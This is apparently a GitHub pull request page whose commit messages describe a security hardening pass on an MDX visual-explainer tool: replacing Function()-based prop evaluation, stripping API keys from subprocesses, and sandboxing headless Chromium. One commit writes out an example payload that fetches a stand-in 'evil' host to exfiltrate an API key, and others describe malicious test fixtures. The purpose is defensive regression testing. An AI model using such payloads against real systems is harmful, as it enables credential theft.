Hardening pass: install path, RCE, slides verifier, CI, security, and architecture#1
Merged
Conversation
Four version sources disagreed (package.json/CHANGELOG said 0.6.3, plugin manifests/SKILL.md said 0.7.0). Add the missing 0.7.0 CHANGELOG entry for the Artifacture rename and MDX/React pipeline release.
The root marketplace.json plugin entry attributed the plugin to the upstream author (nicobailon) and linked the upstream repo, routing marketplace users' trust and issues to the wrong project. Point it at Clayton Kim / theclaymethod/artifacture, matching plugin.json.
"NEVER use npm/npx (broken on this machine)" was a session-specific note that leaked into public spec docs as a normative rule. Restate both lines to describe the actual design intent: the verifier avoids an npm/npx runtime dependency so it works in minimal agent environments, not because npm was broken on one machine.
The repo lacked standard contributor docs for a public project inviting PRs. CONTRIBUTING.md covers dev setup and the three "add one" recipes (check, component, preset); SECURITY.md sets up private disclosure via GitHub Security Advisories; bug.yml and the PR template give contributors a minimal, enforceable checklist.
The export preflight evaluated JSX prop expressions with Function(), which
executes arbitrary JavaScript for any expression passing a starts-with
check ([, {, backtick, quote) — trivially satisfied by e.g.
nodes={[fetch('https://evil/?k='+process.env.OPENROUTER_API_KEY)]}.
evaluateLiteral now uses a bounded recursive-descent parser that accepts
only object/array literals, strings (single/double/backtick without
template interpolation), numbers, booleans, null, and nesting thereof.
Anything else (identifiers, calls, spreads, arrow functions, ${}
interpolation) is rejected with the same "could not evaluate literal
props" diagnostic shape callers already expect. isLiteralExpression stays
as a cheap pre-filter; the parser is now the actual security boundary.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
GHSA-fx2h-pf6j-xcff (server.fs.deny bypass on Windows) and its bundled launch-editor advisory GHSA-v6wh-96g9-6wx3 affected vite 8.0.0-8.0.15. npm audit fix bumped vite to 8.1.3 within the existing ^8.0.12 range — package.json is unchanged, only the lockfile. npm audit now reports 0 vulnerabilities; ve:check still passes.
The advertised install paths (npx skills add, manual copy) deliver only plugins/visual-explainer/, whose SKILL.md, cards, and legacy-html reference import components via ../../../visual-explainer-mdx/components — a path that resolves only inside a full repo clone. A skill installed via the documented paths failed on its first workflow step. SKILL.md now resolves a REPO variable (full-clone repo root, or a one-time git clone/npm install to ~/.artifacture otherwise); the six cards and references/legacy-html.md reference REPO/visual-explainer-mdx/ instead of the hardcoded relative path. README notes the one-time bootstrap.
Honor PLAYWRIGHT_BROWSERS_PATH and derive the per-OS cache dir and chrome-headless-shell folder name from process.platform/arch instead of hardcoding the macOS-ARM path. Linux CI runners can now resolve a fallback browser; darwin-arm64 behavior is unchanged.
malicious-nodes-exec.mdx puts a fetch()-and-exfiltrate IIFE inside a
DiagramCanvas nodes array; if the preflight ever executed prop
expressions again (a regression to Function()-eval), it would create
/tmp/p002-canary via a dynamic import('node:fs') — verified `require`
is unreachable from Function()-eval in this ESM context but dynamic
import() is, so that's the realistic RCE vector here, and confirmed
experimentally that this payload does write the canary under the old
Function()-based evaluator and does not under the new parser.
malicious-template-interpolation.mdx covers the other rejected
literal form: a backtick template with ${process.env.HOME}
interpolation in a DiffBlock patch prop.
check-integrity.mjs now runs both fixtures through the existing
strict/draft harness and asserts the canary file is absent after
the run.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
Remove references/legacy-html.md from the Tier 2 column for the six MDX-covered flows (diagram, plan, table, slides, code, explain-diff). Keeps the poster/video/brand/bespoke sentence pointing at legacy-html.md. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
export.mjs, ve-verify.mjs, and codex-cli all run in subprocesses spawned via runCommand(), which previously passed through the full parent env (Node's spawn() default) whenever no explicit env was given. Since the model-matrix harness exports and verifies model-generated MDX, an untrusted source could reach process.env.OPENROUTER_API_KEY inside that subprocess. None of the three spawned commands need the key — only the in-process fetch() calls in generateOpenRouter() and callAcuityJudge() authenticate with OpenRouter — so runCommand now deletes it from the child env before every spawn. codex-cli's own auth (handled outside this env var) is untouched since only this one key is removed, not the whole env. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
State plainly that the legacy HTML path is for poster/video/brand/bespoke one-offs, not the six MDX-covered flows. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
export.mjs's main() left its .ve-mdx-tmp/export-* working dir behind on every run (no removal anywhere, success or failure). run-matrix.mjs's generateCodexCli() had the same leak for its prompt-* dir. Both now wrap the mkdtemp'd directory in try/finally so it's removed regardless of how the function exits (success, thrown build error, or an early return). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
legacy-html.md restated the three-layer rule and font budget inline; replace with a pointer to mono-industrial.md as the canonical spec. mono-industrial.md gains a one-line canonical-source note distinguishing the MDX preset tokens (implementation) from the frozen legacy template. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
…on-trivial export-static.mjs (the documented static-video path in SKILL.md Tier 0) had zero test coverage. Add a static-export leg against examples/visual-explainer-mdx/video-longform.tsx, asserting on its actual output shape: renderToStaticMarkup produces a bare fragment with no build shell, generator marker, id="root", or bundled module script, so assertStaticGenerated checks its real documented contract instead (data-composition-id per hyperframes.md) plus inlined CSS and no stray build-asset refs. Also close a gap in assertGenerated: it passed for a page whose React tree renders empty. A direct "body text length" check on check.mjs's own output is a no-op — that output is client-hydrated, so the raw file is always just `<div id="root"></div>` regardless of how rich the source is (verified: real pages and a `() => null` source both read 0 chars). Instead, assertSourceRendersContent re-renders each source through export-static.mjs's SSR path to an ephemeral temp file and measures that output's text content, which faithfully reflects the component tree (283-2067 chars across the 14 examples; confirmed 0 for a `() => null` probe during development, per the plan's required negative test).
Every static-text/static-dom/browser check in checks.json must now have a matching violation fixture, unless explicitly allowlisted in the new evals/parity-allowlist.json (empty today). Prevents a new deterministic check from landing without a regression fixture.
Cross-checks package.json, plugin.json, marketplace.json, and SKILL.md frontmatter versions plus the marketplace repository field. Exits nonzero with a table on any mismatch. With plan 004 merged, all sources already agree at 0.7.0, so this exits 0 today (see NOTES in plan 003 report for the deviation from the plan's originally-predicted exit=1).
Matches the README's stated Node version and gives CI/nvm a single source of truth for the toolchain version.
14-row ledger for plugins/visual-explainer/templates/: Status (active vs frozen-reference), Consumer (grep over references/, commands/, cards/, SKILL.md), and Verified. All 8 frozen-reference templates FAIL the current 207-check ve-verify — recorded per template with failure summaries; they remain as historical hand-authoring reference only. Active poster/hyperframes/nothing templates are not gated here. Deletion is deferred to a maintainer decision. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
Wires up the deterministic verifier gate: a static job (integrity check, manifest consistency, export check) and an evals job (installs Chromium, runs the seeded-violation eval suite) on push to main and on PRs. Deviation from plan 003 as written: the plan specified continue-on-error for check:manifests because at planning time (commit 3a54114) the four version sources disagreed. Plan 004 (release hygiene) has since merged into this branch and brought all four sources to 0.7.0 in agreement, so per the plan's own maintenance note ("flip to blocking after plan 004 lands") this job is blocking from the start — no continue-on-error, no TODO needed since 004 already landed.
…DecisionMatrix+Quiz) The 5 existing clean fixtures are one thin example per profile, none exercising rich content, so a check that starts over-firing on real content wouldn't be caught. clean-rich-page.mdx combines a 6-node/3-lane swimlane DiagramCanvas, a DiffBlock, a JsonTree, a DecisionMatrix, and a 2-question Quiz in one ExplainerShell page; exported through the real pipeline and verified zero errors/zero warns across all 207 checks. A matching clean-rich-slides fixture is deliberately NOT included here — see the STOP-condition report for why the "slides" profile currently cannot reach a clean state through any source/content changes.
…mmendation Maps where llm-pass/transcript actually execute (nowhere in-process; the JS only marks status, real execution is an external Task-agent protocol per SPEC.md) and recommends mechanism A (stub judge) as the free, deterministic default-gate mechanism, with C (live golden-artifact cron) as an unbuilt backlog idea. No STOP condition triggered. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
…allery escaping Untrusted model-matrix HTML runs in headless Chromium with unrestricted network egress today; add default-deny request routing (allow only file:/data:/blob: plus the measured Google Fonts origins) to both the ve-verify browser stage and the slides-PDF exporter. Also bind the PDF exporter's local asset server to 127.0.0.1 instead of all interfaces, fix its path-prefix check so a sibling directory name (inputdir-x) can no longer bypass the asset-directory scope, and close the missing single-quote case in gallery.mjs's escapeHtml. Measured origins (Step 1, 5 clean fixtures + one real example export): only file: and https://fonts.googleapis.com / https://fonts.gstatic.com. No CDN scripts observed (Mermaid is bundled inline). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
Adds evals/run-rubrics.mjs (mechanism A: stub judge for 5 llm-pass checks
+ real word-overlap algorithm for reel-caption-matches-transcript),
fixture pairs under evals/fixtures/rubrics/<check-id>/{fire,clean}.json,
and the ve:eval-rubrics npm script. Covers the 6 highest-priority
error-severity checks from the 30-check llm-pass/transcript gap
(text-visibly-clipped, fixed-ui-obscures-content, diagram-type-coherent,
preset-both-mode-visual, deck-content-completeness,
reel-caption-matches-transcript) with a fire + no-fire fixture each.
Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>
Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
… checks Adds evals/rubric-coverage.json listing the 6 checks now covered by evals/run-rubrics.mjs and the 24 still-uncovered llm-pass/transcript checks as tracked backlog, per plan 007's parity-accounting step. Deliberately separate from evals/parity-allowlist.json (plan 003), which is scoped to deterministic-stage checks only. Verified the two arrays exactly partition the 30 llm-pass+transcript checks in checks.json (no gaps, no duplicates). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
Plan 008 step 2: move layoutDiagram and its ~27-function/7-type geometry closure (rank computation, edge routing, label placement, text wrapping) out of components.tsx into visual-explainer-mdx/diagram-layout.ts, verbatim. components.tsx imports layoutDiagram, edgePath, labelLeaderEndpoint, mobileConnectorEdges, splitSvgText, and wrapWords back in; wrapWords is also needed by the unrelated Mermaid label wrapper, which now imports it across the new module boundary. npm run ve:check passes (exit 0, all 14 examples export). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
Plan 008 step 4: node 22's native TS type-stripping loads diagram-layout.ts directly, so node --test runs against it without a build step. Covers a 6-node/3-lane characterization fixture: rank assignment (topological longest-path, hand-verified against computeRanks' BFS), edge-label/node non-overlap, viewBox positivity + node enclosure, and mobileConnectorEdges covering every edge exactly once across the flattened mobile node order. node --test visual-explainer-mdx/diagram-layout.test.mjs: 4/4 pass, exit 0. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
Plan 008 step 5: the component roster was hand-duplicated in components.tsx's exports, integrity.mjs's sharedComponents set, and SKILL.md's bulleted list, with no guard — a component added to one but not another silently produced false integrity failures or stale docs. - integrity.mjs: export sharedComponents (visibility only; contents and construction unchanged) so check.mjs can compare against it. - check.mjs: assertRosterInSync() regex-parses components.tsx's `^export function Name` exports and diffs them against sharedComponents as sets — mismatch throws, naming exactly which names are missing on which side. Also diffs against SKILL.md's roster, but only warns on mismatch (SKILL.md is prose documentation with inline prop hints, more brittle to parse reliably than a source export list). Verified negative case: removing 'PosterCanvas' from sharedComponents makes ve:check fail with "components.tsx exports not in integrity.mjs's sharedComponents: PosterCanvas"; restored afterward and ve:check passes again (exit 0). Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
The split-bleed-zero-padding applies_when tested /split|bleed/i against the entire raw HTML including the inlined React bundle, so String.prototype.split calls in React's minified runtime made the check misfire on every slides artifact. Gate on class="...split|bleed..." or data-layout="split|bleed" authoring signals instead; the check body is unchanged.
…eality SlideDeck now sets --min-font-size:16px on its root, and Slide's body-text container computes font-size via clamp(var(--min-font-size), <fluid vw>, <cap>) on both the base and sm breakpoint — a functional floor that actually participates in font-size computation, not an inert token dropped to satisfy a regex. checks.json's autofit-safety-net-present-and-ordered entry claimed a SlideEngine-ordering gate the implementation never had. Rewrote applies_when/ spec/fixture_violation/fp_guards/impl_hint to describe what the check actually does: profile==='slides', presence of any of fitty/autoFit/resizeText/--min-font-size in styles+scripts, no ordering requirement.
Slide tone="light" only remapped --ve-slide-bg/--ve-slide-text/ --ve-slide-muted/--ve-slide-rule, but content components (Pipeline etc.) read the raw --ve-muted/--ve-heading/--ve-accent tokens directly — those stayed tuned for the preset's default (dark) surface and rendered near-invisible (measured 1.08-1.5:1) against the light --ve-bg-alt surface. Remap --ve-muted/--ve-heading/--ve-accent to --ve-bg within [data-ve-tone="light"]: --ve-bg-alt is authored as the opposite-polarity surface of --ve-bg in every preset, so --ve-bg is always solid, high-contrast ink against it, generically across presets. Also found in the process: color-mix() with an alpha stop computes to a `color(srgb ...)` string in this engine, not rgb()/rgba() — the contrast checker's color parser only handles rgb()/rgba()/hex, so any color-mix() text color reads as unparseable and is scored as invisible (contrast~1) regardless of its real rendered contrast. This was masking a second already-present offender on tone="accent" once the light-tone offenders were fixed (the checker truncates evidence at 10 items). Switched both tone="light" and tone="accent" --ve-slide-muted to solid values so the checker's own color parser can read them; --ve-slide-rule (never read as a text color) is untouched.
…s clean Five-slide SlideDeck exercising CodeBlock, MermaidBlock, a tone="light" slide with Pipeline content (the exact combination Step 3 fixed), a tone="dark" intro, and a tone="accent" closer. Exports and verifies with 0 errors / 0 warns, and is the first slides-profile page to prove the whole pipeline (split-bleed gate, autofit floor, light/accent-tone contrast) end to end. npm run ve:eval now reports 7 clean fixtures (6 from the merged base branch + this one), all still passing alongside the 177 seeded violations.
checks.json still described the pre-Step-1 gate ("A .slide--split or
.slide--bleed element exists"), narrower than the actual implementation
(class containing split/bleed as a substring, or a data-layout attribute)
and silent on why the gate changed. Update the applies_when text to match.
Combined-tree testing surfaced a real interaction: plan 005's default-deny network routing blocks MermaidBlock's CDN runtime (cdn.jsdelivr.net/npm/mermaid@11), which 005's allowlist missed because no original clean fixture used Mermaid. Without this, 005 silently breaks Mermaid rendering in the verifier for every diagram artifact. Added a tight prefix entry (mermaid runtime only, not all of jsdelivr) alongside the font origins in both isolated Chromium contexts. Co-Authored-By: Claude Fable 5 <noreply@anthropic.com> Claude-Session: https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
1 participant
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Hardening pass from an
/improveaudit: four parallel category audits → ten implementation plans → ten executor runs in isolated worktrees, each independently reviewed, then integrated and re-verified as a whole. Every finding was confirmed against source before a plan was written, and every executor's work was re-verified by a separate review (not trusted from its report).What this fixes
Adoption-critical
npx skills add theclaymethod/artifacture(and the manual copy) delivered a skill whose first workflow step failed — the export pipeline and components live only in a full clone. The skill is now self-locating (REPObootstrap in SKILL.md + cards). (plan 001)marketplace.jsonwas still attributing the plugin to the upstream author and repo — now points at this project. CHANGELOG, CONTRIBUTING, SECURITY, issue/PR templates added. (plan 004)Security
Function()— arbitrary JS execution on the host, reachable in the model-matrix with the OpenRouter key in-env. Replaced with a dependency-free literal parser; API key stripped from child process envs; temp-dir leaks fixed. (plan 002)file:/data:/blob:, the two font origins, and the pinned Mermaid runtime). Asset server bound to localhost with the directory-escape closed. (plan 005)Correctness — the slides render target now passes its own verifier
applies_whenbug matching React's minified.split(in the bundle, an autofit check the pipeline could never satisfy (now a real font-size floor + honest spec), and a light-tone contrast failure. A fourth surfaced during review:parseColorcan't parse Chromium'scolor(srgb …)serialization ofcolor-mix(), silently scoring text invisible — fixed at the token layer. (plan 010)CI, tests, portability
ve:check, the eval fixtures, and manifest consistency. The verifier's Chromium fallback was hardcoded to macOS-ARM paths (Linux runners couldn't resolve a browser) — now platform-derived. A catalog↔fixture parity guard prevents silent coverage erosion. (plan 003)export-staticgets its first test; an SSR content probe catches empty renders; richer clean fixtures added. A stub-judge contract suite covers 6 of the 30 previously-untestable llm-pass/transcript checks, with the remaining 24 tracked as an explicit debt ledger. (plans 006, 007)Architecture
components.tsxintodiagram-layout.ts(540 lines) behind a byte-identical SSR characterization gate + 4 unit tests; a roster-sync guard single-sources the component list. (plan 008)Integration note
The ten plans were built on separate branches; combined-tree testing (no single branch had validated all ten together) surfaced one real interaction — plan 005's isolation blocked plan 010's new Mermaid fixture — fixed here with the pinned-runtime allowlist entry rather than by hiding it. Full gates green on the integrated tree:
ve:check,ve:eval(177 violations + 7 clean fixtures),ve:eval-rubrics(12/12),check:manifests.Follow-ups (not in this PR)
ve:eval-rubricsinto the CI evals job; add a CI badge after first green run.🤖 Generated with Claude Code
https://claude.ai/code/session_01AMn6wt4fMCxg7rxj9igFtS